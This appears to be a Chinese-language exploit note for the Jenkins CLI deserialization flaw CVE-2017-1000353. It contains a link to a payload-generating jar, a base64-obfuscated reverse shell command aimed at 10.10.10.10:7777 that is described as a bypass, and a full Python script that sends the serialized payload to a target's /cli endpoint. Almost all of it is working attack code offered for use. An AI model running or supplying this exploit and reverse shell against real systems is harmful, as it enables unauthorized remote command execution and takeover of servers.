该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中。Jenkins利用此通道来接收命令，恶意攻击者可以构造恶意攻击参数远程执行命令，从而获取系统权限，造成数据泄露。
https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
需要通过base64编码绕过：bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}"
import urllib
import sys
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib
proxies = {
# ‘http‘: ‘http://127.0.0.1:8085‘,
# ‘https‘: ‘http://127.0.0.1:8090‘,
}
URL = ‘%s/cli‘ % sys.argv[1].rstrip(‘/‘)
PREAMLE = b‘<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=‘
PROTO = b‘\x00\x00\x00\x00‘
with open(sys.argv[2], "rb") as f:
FILE_SER = f.read()
def download(url, session):
headers = {‘Side‘ : ‘download‘}
headers[‘Content-type‘] = ‘application/x-www-form-urlencoded‘
headers[‘Session‘] = session
headers[‘Transfer-Encoding‘] = ‘chunked‘
r = requests.post(url, data=null_payload(), headers=headers, proxies=proxies, stream=True, verify=False)
print(r.content)
def upload(url, session, data):
headers = {‘Side‘ : ‘upload‘}
headers[‘Session‘] = session
headers[‘Content-type‘] = ‘application/octet-stream‘
headers[‘Accept-Encoding‘] = None
r = requests.post(url,data=data,headers=headers,proxies=proxies, verify=False)
def upload_chunked(url,session, data):
headers = {‘Side‘ : ‘upload‘}
headers[‘Session‘] = session
headers[‘Content-type‘] = ‘application/octet-stream‘
headers[‘Accept-Encoding‘]= None
headers[‘Transfer-Encoding‘] = ‘chunked‘
headers[‘Cache-Control‘] = ‘no-cache‘
r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies, verify=False)
def null_payload():
yield b" "
def create_payload():
payload = PREAMLE + PROTO + FILE_SER
return payload
def create_payload_chunked():
yield PREAMLE
yield PROTO
yield FILE_SER
def main():
print("start")
session = str(uuid.uuid4())
t = threading.Thread(target=download, args=(URL, session))
t.start()
time.sleep(2)
print("pwn")
#upload(URL, session, create_payload())
upload_chunked(URL, session, "asdf")
if __name__ == "__main__":
main()
